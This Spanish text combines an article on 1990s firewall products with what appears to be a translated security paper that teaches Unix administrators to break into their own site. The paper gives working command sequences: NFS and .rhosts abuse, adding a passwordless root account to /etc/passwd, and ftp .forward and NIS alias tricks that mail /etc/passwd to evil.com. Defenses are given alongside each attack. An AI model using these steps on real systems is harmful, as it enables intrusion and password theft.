MAS QUE UN PIN DE SEGURIDAD

L

os pines son algunas veces utilizados como una medida extra de seguridad. El “Firewall” de BorderWare que es

“stand alone” es similar al de Cheswick pero el añade autenticación activa. El servidor de “Firewall” otorga una

aprobación de acceso al usuario a los servicios de la red desde un cliente interno pero el asunto cambia cuando se

trata de un acceso externo de la red. Esto es, un usuario puede hacer telnet desde la red interna hacia fuera, pero si

trata de hacerlo hacia adentro de la red, se iniciará el procedimiento de autorización.

 

Después del servidor de autorizaciones, el usuario entra a la autorización y el usuario elige un número de PIN en una especie de calculador

de números de tarjetas de crédito, para verificar la autorización y la computadora responde, esto alimenta al servidor de “Firewall”. El

acceso es permitido solamente después de que el pin es autenticado por el servidor. Otro tipo de dispositivo asociado es “Sock”,

bibliotecas de software son adicionadas a aplicaciones individuales para una comunicación segura a través del “Firewall”. La ventaja de

Sock es que toma menos tiempo para escribir que un proxy completo, pero la escritura usualmente requiere acceder al código fuente de

las aplicaciones. Esto puede no ser permitido siempre, algunos usuarios necesitan elegir aplicaciones disponibles que Sock escribe por

ellos.

La NCSA (National Computer Security Association) un grupo de industrias que evalúan y certifican productos de “Firewall”,

recientemente emitieron un reporte que ejemplifica un rango de negocios en USA, incluyendo gobierno, estados, y federaciones. Mientras

el reporte es admitido, los negocios han revelado el patrón de uso de “Firewall” por ellos. 40% de las respuestas admiten tener

documentado ataques externos a sus sistemas y un 89% respondieron que sus “Firewall” repelieron efectivamente esos ataques. Los

atentados incluyen “spoof de IP” (20%) , ataques de denegación de servicios, ataques a SendMail (Unix específicamente, que emplean

“pulgas” en el manejador del mail obteniendo acceso desde root), y búsqueda de puertos. Cada uno de ellos fueron reportados con un

10% de intentos.

En el reporte de la NCSA, el ataque causado por la denegación de servicios presenta cerca de 38% de los intentos. Un correo bomba es

un tipo de denegación de servicios, que como resultado hace fallar la conexión de red y el sistema se cae. Un correo bomba usualmente

trata de tomar el control de un Enrutador y fluye por la dirección e-mail con un aumento desmedido de tráfico de correos. Otro método de

denegación de servicios incluye la penetración anónima a servidores FTP exigiendo espacio en disco; la sobrecarga de los buffers de

entrada, y el desbordamiento de los servidores con un masivo aumento de las solicitudes de conexión, consume toda la memoria

disponible y congela el sistema.

El NCSA es el patrocinador del programa de certificaciones de “Firewalls” para manufacturadores. Deacuerdo a Sam Glesner,

administrador del consorcio NCSA “Un Firewall certificado puede ser configurado para proteger una red interna contra una lista de

intentos documentados y probados por NCSA. Creemos que todo sistema en Internet tiene la amenaza de los intrusos pero no todos

necesitan un “Firewall”. Si se coloca un servidor y conecta a Internet, pero este nunca estará unido a una red interna, con un router será

suficiente. Pero si se conecta a redes internas (Intranet) un “Firewall” es el mínimo dispositivo que se utiliza para proveer una adecuada

seguridad, como el programa de certificaciones ha demostrado. Sistemas que realizan transacciones de ordenamiento, tienen más riesgo,

especialmente para empresas de finanzas y seguros.

 

HACIÉNDOLO LO MEJOR POSIBLE

R

ecientemente, se presentaron otros intentos para aumentar la “inteligencia” a los populares “Firewall” de gateway de

aplicación. WebStalker de Haystack Labs trabajan a nivel de sistema operativo. En realidad no es un “Firewall” por

sí mismo, monitorea el comportamiento en el servidor protegido por un “Firewall”. Se fija en ítems tales como acceso

a archivos, identificación de usuario, cambios en la identificación , programas ejecutables y los compara con un perfil

de comportamiento en el sistema. Este perfil del sistema es derivado de las políticas de seguridad que el usuario

define con un software “de entrevistas” como el de Netrabox o ejecutando TurboTax.

 

Cuando el comportamiento viola o intenta violar las políticas de seguridad, Webstacker puede tomas acciones contra el proceso o usuario,

como notificando al administrador del sistema que algo malo está sucediendo.

Los nuevos “Firewalls”, como el de Alta Vista, pueden ser configurados para aceptar o rechazar ciertos tipos de paquetes de datos,

apoderándose del “Firewall” dentro del territorio más allá de la seguridad de los datos en áreas de control del administrador. El ejemplo

más notable es UDP, un protocolo de transferencia de datos utilizado normalmente en videoconferencia como White Pine’s CU-SeeMe,

también con audio y para sistemas Chat. Cuando este tipo de paquetes es bloqueado en el “Firewall”, los usuarios no podrán utilizar este

tipo de actividades. El bloqueo indiscriminado de paquetes de UDP, significa para los usuarios no ver los últimos avances en el desarrollo

de los Webs. La solución es permitir el acceso a aplicaciones específicas de UDP. Algunos “Firewall” pueden dejar pasar estos con el uso

de proxys pero otros no.

La configuración de un “Firewall” puede consumir mucho tiempo. Una de las últimas “arrugas” en el mercadeo son los “Firewall”

pre-cargados. CheckPoint Software empaquetó una versión “lite” de Firewall-1, llamado “Firewall First”, con servidores AST corriendo

en Windows N.T., también tiene para Sun con Solaris e IBM con AIX. Firewall First puede ser actualizado completamente a Firewall-1

para soportar direcciones adicionales IP. Raptor tiene un paquete similar con Eagle de Compaq y Digital Systems.

La próxima frontera para “Firewall” y seguridad es la potencial amenaza que se deriva de las aplicaciones de Java y ActiveX. Sean escritas

con intenciones maliciosas o por ineptitud, estos applets pueden causar destrozos y muchos administradores de redes las consideran un

perfecto proscrito de su uso y organización. Se puede crear una obstrucción, que puede estar a nivel de aplicación, por medio de un proxy

configurado para reconocer los applets. Muchos “Firewalls” no tienen esta característica. Seattle Software y su producto WatchGuard es

el primero en incluir filtros para Java y ActiveX. Otros vendedores incluyendo Network-1 planean incluir esta característica a sus

productos.

Esta es una pequeña muestra de los productos de “Firewall” en el mercado. Su primer paso en evaluar la seguridad de su compañía es

estar seguro, en algún grado, de la protección contra intrusos. Y en menor grado, estar seguro de tener filtro de paquetes que puedan

prevenirlos de las direcciones de Internet externas a su organización que deseen controlar sus servidores. Entonces, fíjese en un área

específica de su red. Si su red está fatigada por usuarios corriendo vídeo que no se necesita, considere entonces una aplicación que filtre

UDP. Si sus aplicaciones sensibles se ven comprometidas entonces opte por un “Firewall” más sofisticado.

Haga un estudio de mercado y busque el producto que mejor le convenga a su empresa, pero no quiebre el presupuesto de su empresa.

Mantenga el mercado de “Firewall” a mano porque cada vez se crean más sofisticados.

El mantenimiento de circuitos y aplicaciones proxy recae en los hombros del Director de Tecnologías de Información, quien debe velar por

mantener actualizado el “Firewall”. Desde que muchos “Firewalls” trabajan con la premisa que todo lo que no es explícitamente permitido

es denegado, los problemas usuales serán superficiales de personas que desean utilizar una aplicación detrás del “Firewall”. Esta es solo

una manera de determinar que alguna aplicación necesita un ajuste en los Proxies.

La seguridad en los sitios Web son como una llave multilock – nadie aprecia su verdadero valor hasta que realmente se necesitan- .

 

 

 

 

 

 

 

 

 

Introducción

Todos los días, en todo el mundo, las redes de ordenadores y hosts son violados. El nivel de sofisticación de estos ataques varia ampliamente; mientras hay una creencia generalizada  que la mayoría de estas intrusiones tienen éxito debido a la debilidad de los passwords, hay todavía un gran numero de intrusiones que hacen uso de técnicas mas avanzadas para entrar.  Poco es sabido acerca de este ultimo tipo de intrusiones , debido principalmente a su naturaleza y a su dificultad de ser detectadas.

 

ERT.  SRI.  The Nic.  NCSC.  RSA.  NASA.  MIT.  Uunet.  Berkeley.

Purdue.  Sun. Cualquier sistema en Internet (y muchos que no lo están) son

susceptibles de ser violados fácilmente. Son estos objetivos inusuales? Que

ocurrió?

chaval, con pelo rubio y grasiento, sentado en una habitación oscura. La habitacion esta iluminada solamente por la luz de la pantalla de 40 caracteres de un C64. Tomando otra larga calada de su Benson & Hedges, su cansado sistema cracker “Telnetea” a otro site “.mil” anónimo de su lista de víctimas. No importa. Tiene toda la noche….lo tacha de su lista, y cansinamente teclea la siguiente víctima potencial….

Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin experiencia, y con un montón de tiempo que perder, tan solo para entrar en otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso rondando por ahí. Uno que sabe todo lo ultimo acerca de seguridad de sistemas y herramientas cracking, que puede modificarlas para llevar a cabo ataques específicos, y que puede currarse sus propios programas. Uno que no solo se dedica a leer sobre los últimos agujeros de seguridad, sino que tambien  descubre bugs y puntos débiles. Una “criatura mortal” que puede tanto golpear “envenenadamente” , como ocultar su rastro sin un solo susurro o pista. El uebercracker esta aquí..

 

Por que “uebercracker” ? Es una idea robada, obviamente, del uebermensch de

Nietzsche,o , literalmente traducido al ingles, “over man”.

Nietzsche uso el termino no para referirse a un super hombre de comic, sino

a un hombre que va mas alla de la incompetencia, insignificancia, y

debilidad del hombre tradicional.

Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla

de los simples metodos de intrusion de los cookbooks. Un uebercracker no se

motiva normalmente para realizar actos violentos.

 

Las victimas no son arbitrariamente escogidas – hay un proposito, tanto

como si es por conseguir fines monetarios, un ataque “golpea y corre” para

pillar informacion, o un desafio para golpear un prestigioso-gran site o

red personalmente. Un uebercracker es dificil de detectar, mas aun de

parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien.

Overview

En este texto vamos a realizar un acercamiento inusual a los sistemas de seguridad.

En vez de decir meramente que algo es un problema, vamos a mirar a traves

de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que

incluso los aparentemente inocuos servicios de red pueden convertirse en

herramientas muy valiosas a la hora de buscar puntos debiles en un sistema,

incluso cuando estos servicios operan del modo esperado.

En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones cada vez mas avanzadas, este texto reseña varios mecanismos usados actualmente por los crackers para obtener acceso a los sistemas y, adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos usado nosotros mismos en tests o ambientes autorizados/amigables.

Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que los administradores de sistemas no son muy a menudo conscientes del peligro existente por cualquier cosa mas alla de los ataques mas triviales.  Mientras por todos es sabido que el nivel de proteccion apropiado depende de que es lo que debe ser protegido, muchos sites parecen estar faltos de los recursos para valorar que nivel de proteccion es adecuada.  Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un sistema remoto, intentamos ayudar a los administradores de sistemas a tomar decisiones sobre como proteger su site – o como no hacerlo. Limitaremos la discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como conseguir privilegios root estan mas alla del ambito de este texto – consideramos que son o dependen del site y, en muchos casos, muy triviales para merecer discutirse.

Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de seguridad – siempre habra nuevos para que un “atacante” en potencia  los explote. El proposito de este texto es el de tratar de que el lector vea su sistema de una forma nueva/diferente – una forma que posiblemente le permita tener la oportunidad de entender como su propio sistema puede estar comprometido, y como.

Tambien queremos reiterar que el proposito de este texto es el de enseñar al lector como testear la seguridad de su propio site, y no como irrumpir en sistemas ajenos. Las tecnicas de intrusion ilustradas aquí dejaran muy a menudo huellas en los logs de tu sistema – seria constructivo examinarlos despues de intentar alguno de estos ataques, para ver como seria un ataque verdadero. Ciertamente otros sites y administradores de sistemas tomaran/haran una vision fugaz de tus actividades si es que decides usar sus hosts para hacer tests de seguridad sin autorizacion avanzada; de hecho, es posible que se tomen medidas legales contra tu persona si lo perciben como un ataque.

Hay cuatro partes principales en este texto. La primera es la intoduccion y el overview. La segunda parte es un intento de dar a entender al lector lo que es ser un intruso y como de no saber nada de un sistema pasar a comprobar su seguridad. Esta seccion revisa las tecnicas actuales de obtencion de informacion y acceso, y cubre estrategias basicas tales como explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp, etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi como bugs tipicos y problemas de configuracion en cierta forma mas especificos de los sitemas operativos o de los sistemas.

Tambien se cubre lo referente a estragegias defensivas contra cada uno de

los diferentes ataques.

La tercera seccion trata sobre confianza: como la seguridad de un sistema

depende de la integridad de otros sistemas. La confianza es el tema mas

complejo de este texto, y por ser breves limitaremos su discusion a “los

clientes ocultos” (si alguien ha entendido esto ultimo que me lo explique

:)).

 

 

 

 

La cuarta seccion cubre los pasos basicos a seguir por un administrador de

sistemas para proteger su sistema. La mayoria de los metodos presentados

aquí son meramente de sentido comun, pero son comunmente ignorados en la

practica – una de nuestras metas es enseñar lo peligroso que es ignorar

estos metodos basicos de seguridad.

 

 

 

Estudios practicos, indicadores de informacion relacionada con la

seguridad, y software son descritos en los apendices al final del

documento.

 

 

 

Mientras exploramos los metodos y estrategias que se discuten en este texto

vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ).

Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos

y recoge tanta informacion como sea posible explorando remotamente NIS,

finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye

la presencia de varios servicios de informacion de red asi como de defectos

potenciales de seguridad – normalmente en la forma de errores en el setup o

en la configuracion de los servicios de red, bugs tipicos en las utilidades

del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces

puede bien informar sobre estos datos o usar un sistema experto para

investigar mas adelante cualquier  problema potencial de seguridad.

Mientras el SATAN no usa todos los metodos discutdos en este texto, ha

triunfado con “amenazadora” regularidad a la hora de encontrar serios

agujeros de seguridad en sites de Internet. Sera posteado y estara

disponible via FTP anonimo cuando este completado; El apendice A cubre

sus caracteristicas mas destacadas.

 

 

 

Observar que no es posible cubrir todos los metodos posibles de irrumpir en

los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los

metodos mas efectivos de irrupcion en hosts remotos: social engineering (

ingenieria social) y password cracking (crackear passwords). Este ultimo

metodo es tan efectivo, sin embargo, que varias de las estrategias

presentadas aquí estan basadas en la obtencion de archivos de passwords.

Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows,

etc..) pueden proveer una “tierra fertil” para la

irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos

usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan

terminales non-bitmapped que les pueden prevenir de usar algunos de los

metodos de explotacion efectiva mas interesantes para sistemas basados en

ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima

es normalmente suficiente para pillar passwords). Finalmente, mientras

gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no

son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas

muy similares a las descritas en este documento como partes individuales de

su estrategia de ataque.

Ganando Informacion

 

Asumamos que tu eres el administrador de sistema de “Victim Incorporated’s

network of Unix workstations”. En un esfuerzo por proteger tus maquinas, le

pides a un colega administrador de sistema de un site cercano (evil.com)

que te de una cuenta en una de sus maquinas para asi poder ver la seguridad

de tu propio sistema desde el exterior.

Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu blanco, tu host. Hay un monton de servicios de red en los que mirar: finger, showmount y rpcinfo son buenos puntos de partida.  Pero no te pares ahi – debes tambien utilizar DNS, whois, sendmail (smtp), ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos metodos y tecnicas que el espacio nos impide enseñaros todos, pero trataremos de enseñar una representativa de las estrategias mas comunes y/o peligrosas que hemos visto o que se nos han ocurrido.

Idealmente, podrias recoger dicha informacion sobre todos los hosts en la subred o area de ataque – la informacion es poder – pero por ahora examinaremos solo nuestra victima/blanco en cuestion.

Para comenzar, miraremos lo que el comando finger nos ha reportado.

(imagina que son las 6pm, 6 Noviembre, 1993):

 

victim % finger @victim.com

[victim.com]

Login       Name             TTY    Idle     When         Where

zen         Dr.  Fubar        co      1d    Wed 08:00    death.com

 

 

 

Bien! Un solo usuario inactivo – se supone que nadie va a notar si intentas

irrumpir dentro.

Ahora intentas mas tacticas. Como todos los devotos del finger sabran, hacer finger “@”, “0”, y “”, asi como a nombre comunes, como root, bin, ftp, system, guest, demo, manager, etc…, puede revelar informacion interesante. Lo que esa informacion sea depende de la version de finger que tu victima este usando, pero la mas importante son nombres de cuentas, conjuntamente con sus home directories y el ultimo host desde el que se conectaron.

Para añadir a esta informacion, puedes tambien usar rusers (en particular con la extension -l ) para pillar informacion valiosa sobre usuarios conectados.

Usando estos comandos en victim.com nos da la siguiente informacion, presentada de forma tabulada comprimida para ahorrar espacio:

Login   Home-dir       Shell      Last login, from where

root      /            /bin/sh     Fri Nov 5 07:42 on ttyp1 from big.victim.com

bin       /bin                     Never logged in

nobody        /                        Tue Jun 15 08:57 on ttyp2 from server.victim.co

daemon    /                        Tue Mar 23 12:14 on ttyp0 from big.victim.com

sync      /            /bin/sync   Tue Mar 23 12:14 on ttyp0 from big.victim.com

zen       /home/zen    /bin/bash   On since Wed Nov  6 on ttyp3 from death.com

sam       /home/sam    /bin/csh    Wed Nov  5 05:33 on ttyp3 from evil.com

guest     /export/foo  /bin/sh     Never logged in

ftp       /home/ftp                Never logged in

 

Tanto nuestros experimentos con el SATAN como el ver en funcionamiento

system crackers nos ha demostrado que el finger es uno de los servicios mas

peligrosos, por su valor a la hora de investigar una victima potencial. De

todas formas, mucha de esta informacion  solamente es valiosa usada

conjuntamente con otros datos.

Por ejemplo, ejecutando showmount (informacion sobre el montaje de un servidor)en tu victima nos revela lo siguiente:

evil % showmount -e victim.com

export list for victim.com:

/export                                  (everyone)

/var                                     (everyone)

/usr                                      easy

/export/exec/kvm/sun4c.sunos.4.1.3        easy

/export/root/easy                         easy

/export/swap/easy                         easy

 

 

 

 

Notar que /export/foo esta “exportado al mundo”; tambien fijaros que este

es el home directory del usuario “guest”. Es hora de tu primera intrusion!

En este caso, montaras el home directoy del usuario “guest”. Como no tienes

la cuenta correspondiente en esa maquina y como root no puede modificar

archivos en un sistema de archivos NFS, creas una cuenta “guest” en tu

archivo de password local. Como usuario “guest” puedes colocar una “.rhosts

entry” en el guest home directory remoto, que te permitira acceder a dicha

maquina sin tener que dar ningun password.

evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls -lag

total 3

1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .

1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..

1 drwx—x—x  9 10001    daemon       1024 Aug  3 15:49 guest

evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd

evil # ls -lag

total 3

1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .

1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..

1 drwx—x—x  9 guest    daemon       1024 Aug  3 15:49 guest

evil # su guest

evil % echo evil.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com!

victim %

Si, en lugar de home directories, victim.com exportara sistemas de archivos

con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar

un comando por un caballo de troya que ejecutara cualquier comando de tu

eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu

programa

Sugerimos que se exporten estos sistemas de archivos:

Lectura/excritura solo a clientes especificos y de confianza

Solo-lectura, donde sea posible (datos o programas pueden ser exportados

de esta forma)

Si la victima tiene un “+” wildcard en su /etc/hosts.equiv  (por defecto en varias maquinas) o tiene el netgroups bug , cualquier usuario no root con un login en el fichero de passwords de la victima puede hacer un rlogin (login remoto) a la victima sin necesidad de password. Y como el usuario “bin” normalmente tiene ficheros llave y directorios, tu siguiente  ataque es el de tratar de acceder en el host de la victima y modificar el fichero de passwords para permitirte tener acceso “root”:

evil % whoami

bin

evil % rsh victim.com csh -i

Warning: no access to tty; thus no job control in this shell…

victim %  ls -ldg /etc

drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc

victim %  cd /etc

victim %  mv passwd pw.old

victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) >

passwd

victim % ^D

evil % rlogin victim.com -l toor

Welcome to victim.com!

victim #

Unas pocas notas sobre el metodo usado arriba; “rsh victim.com csh -i” se usa para inicialmente entrar en el sistema ya que no deja ningun rastro en los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los prgramas tipo pagers y editores fallaran – pero es de gran utilidad para una breve exploracion.

La utilidad de seguridad COPS (ver apendice D) informara de archivos o directorios que son “escribibles” a otras cuentas aparte de la superuser.  Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente innotificable; el tcp wrapper (apendice D), que “logea” conexiones entrantes, puede ayudar a desenmascarar dichas actividades.

Y ahora que? Has destapado ya todos los agujeros del sistema-victima?

Volviendo a los resultados dados por el finger en nuestra victima, te das

cuenta de que tiene una cuenta “ftp”, que normalmente significa que se

puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir

acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima

debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo

  • ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, puedes ver que este ultimo no parece ser el verdadero (como puedes afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory de “ftp” en victim.com es escribible. Esto te permite ejecutar comandos remotamente – en este caso, mandarte el archivo por mail a ti mismo – por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta “ftp”.

 

evil % cat forward_sucker_file

“|/bin/mail zen@evil.com < /etc/passwd”

 

evil % ftp victim.com

Connected to victim.com

220 victim FTP server ready.

Name (victim.com:zen): ftp

331 Guest login ok, send ident as password.

Password:

230 Guest login ok, access restrictions apply.

ftp> ls -lga

200 PORT command successful.

150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).

total 5

drwxr-xr-x  4 101      1             512 Jun 20  1991 .

drwxr-xr-x  4 101      1             512 Jun 20  1991 ..

drwxr-xr-x  2 0        1             512 Jun 20  1991 bin

drwxr-xr-x  2 0        1             512 Jun 20  1991 etc

drwxr-xr-x  3 101      1             512 Aug 22  1991 pub

226 ASCII Transfer complete.

242 bytes received in 0.066 seconds (3.6 Kbytes/s)

ftp> put forward_sucker_file .forward

43 bytes sent in 0.0015 seconds (28 Kbytes/s)

ftp> quit

evil % echo test | mail ftp@victim.com

Ahora simplemente tienes que esperar a que el fichero de passwords te sea

enviado.

La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el CERT advisory 93:10 para recoger informacion acerca de como establecer (setup, por si hay dudas) ftp anonimo correctamente.

Vulnerabilidades en el ftp son normalmente cusetion de una posesion

incorrecta o de los permisos de archivos y directorios. Al menos, estate

seguro de que -ftp y todos los directorios y ficheros “system” por debajo

de -ftp son de root y que no tienen privilegios de escritura para ningun

usuario.

Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente explotado:

% ftp -n

ftp> open victim.com

Connected to victim.com

220 victim.com FTP server ready.

ftp> quote user ftp

331 Guest login ok, send ident as password.

ftp> quote cwd ~root

530 Please login with USER and PASS.

ftp> quote pass ftp

230 Guest login ok, access restrictions apply.

ftp> ls -al / (o lo que sea)

 

Si esto funciona, estaras dentro como root, y con capacidad para modificar

el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes

que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp

anonimo en ftp.uu.net.

El wuarchive ftpd, un conocido “recambio” del ftp daemon dado por la Washington University in Saint Louis, tenia casi el mismo problema. Si tu wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una version mas reciente.

hay un programa similar a ftp – tftp, o trivial file transfer program. Este daemon no necesita de ningun password para autentificacion; si un host provee de tftp sin restringir el acceso (normalmente mediante algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas el fichero passwd y se pone en tu directorio /tmp local:

evil % tftp

tftp> connect victim.com

tftp> get /etc/passwd /tmp/passwd.victim

tftp> quit

 

Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es

necesario, utiliza la opcion/flag segura para restringir el acceso a un

directorio que contenga informacion sin valor, o ejecutalo bajo el control

de un programa chroot wrapper.

Si ninguno de los metodos anteriores ha funcionado, es hora de tomar

medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran

utilidad, muchas veces incluso mas practico que el finger. Muchos hosts

tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el

portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS,

si es un servidor o esclavo NIS, si hay una estacion de trabajo sin

disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info

(rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados

con logs y seguridad). Por ejemplo, volviendo a nuestra victima:

evil % rpcinfo -p victim.com

program vers proto   port

100004    2   tcp    673  ypserv

100005    1   udp    721  mountd

100003    2   udp   2049  nfs

100026    1   udp    733  bootparam

100017    1   tcp   1274  rexd

 

 

En este caso, puedes ver varios datos significativos sobre nuestra victima;

el primero de los cuales es que es un servidor NIS. Puede que no sea muy

sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor,

puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso

cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el

programa YPX que se puede encontrar en los archivos comp.sources.misc en

ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables

passwords, muchos sistemas usan nombres de dominio NIS facilmente

adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente

provechoso/fructifero. Los mayores candidatos son los nombres del host en

forma parcial y total (e.g. “victim” and “victim.com”, el nombre de la

organización, nombres del grupo dados por el comando “showmount”, y demas.

Si quisieras probar si el nombre de dominio fuera “victim”, teclearias:

 

 

 

evil % ypwhich -d victim victim.com

Domain victim not bound.

 

 

 

 

Como se ve este fue un intento sin éxito; si huiera sido correcto “victim”,

nos habria dado un mensaje con el nombre de host del servidor NIS. De todas

formas, fijaros de la seccion NFS que victim.com esta exportando el

directorio “/var” al mundo. Todo lo que se necesita es montar dicho

directorio y mirar en el subdirectorio “yp” – entre otras cosas veras otro

subdirectorio que contiene el nombre de dominio de la victima.

evil # mount victim.com:/var /foo

evil # cd /foo

evil # /bin/ls -alg /foo/yp

total 17

1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .

1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..

11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile

1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding

2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar

[…]

 

En este caso “foo_bar” es el nombre de dominio del NIS.

Adicionalmente, los mapas NIS contienen normalmente una buena lista de nombres de usuarios/empleados asi como listas de hosts internos, por no mencionar passwords para crackear.

El apendice C detalla los resultados de un caso practico sobre archivos de

passwords NIS.

Puedes observar que la respuesta dada por el comando rpcinfo mostraba que

victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo

“por favor ejecuta este comando como ese usuario (como siendo ese

usuario)”. A diferencia de rshd, rexd no tiene en cuenta si el host cliente

esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa

rexd cliente es el comando “on”, pero tan solo es necesario un pequeño

programa en C para mandar informacion arbitraria sobre el host y userid

cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas

razones, ejecutar rexd es similar a no tener passwords: toda la seguridad

esta en el cliente, no en el servidor que es donde deberia. La seguridad

del rexd puede ser mejorada de alguna manera usando un RPC seguro.

bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com

parece ser un server para estaciones de trabajo sin disqueteras. Esto se

evidencia debido a la presencia del servicio bootparam, que provee

informacion a los clientes sin disquetera para el arranque. Si lo preguntas

correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un

cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran

utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS

arbitrarios (como el fichero password) cuando sabes el nombre de dominio.

Aquí va un ejemplo de codigo para hacer justo eso:

 

 

 

char   *server;

struct bp_whoami_arg arg;           /* query */

struct bp_whoami_res res;           /* reply */

 

 

 

 

 

/* initializations omitted… */

 

 

 

 

callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,

xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);

 

 

 

printf(“%s has nisdomain %s\n”, server, res.domain_name);

 

 

 

El resultado del comando showmount indicaba que “easy” es un cliente sin

disquetera de victim.com, asi que usamos su direccion de cliente en el

query BOOTPARAMPROC_WHOAMI:

 

 

 

evil % bootparam victim.com easy.victim.com

victim.com has nisdomain foo_bar

 

 

 

 

 

 

 

 

Los NIS masters controlan los alias del mail para el dominio NIS en

cuestion. Como en los ficheros de alias de mail locales, puedes crear un

mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo

popular de esto es el alias “decode” que “uudecodea” archivos mail que le

son mandados). Por ejemplo, aquí creas un alias “foo”, que mailea el

fichero password de vuelta a evil.com simplemente maileandole cualquier

mensaje:

 

 

 

nis-master # echo ‘foo: “|mail zen@evil.com< /etc/passwd “’ >> /etc/aliases

nis-master # cd /var/yp

nis-master # make aliases

nis-master # echo test | mail -v foo@victim.com

 

 

 

 

Por suerte los atacantes no tendran control de tu NIS master host, pero mas

aun laa leccion esta clara – NIS normalmente no es seguro, pero si un

atacante se hace con el control de tu NIS master, efectivamente tendra de

los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).

 

 

 

No hay demasiadas defensas contra estos ataques; es un servicio inseguro

que casi no tiene autentificacion entre clientes y servers. Para mas INRI,

parece claro que se pueden forzar mapas aleatorios incluso en servidores

maestros (ej, es posible tratar a un servidor NIS como si fuera un

cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es

absolutamente necesario usar NIS, el usar un nombre de dominio dificil de

adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera

que estan expuestos a atacantes en potencia, entonces es insignifante para

este atacante el sobrepasar este simple paso haciendo uso del truco del

bootparam para conseguir el nombre de dominio. Si el NIS es usado para

propagar los mapas de passwords, entonces los shadowed passwords no ofrecen

ningun tipo de proteccion adicional ya que el mapa shadow seria aun

accesible para cualquier atacante que fuera root en un host de ataque.

Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que

los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.

 

 

 

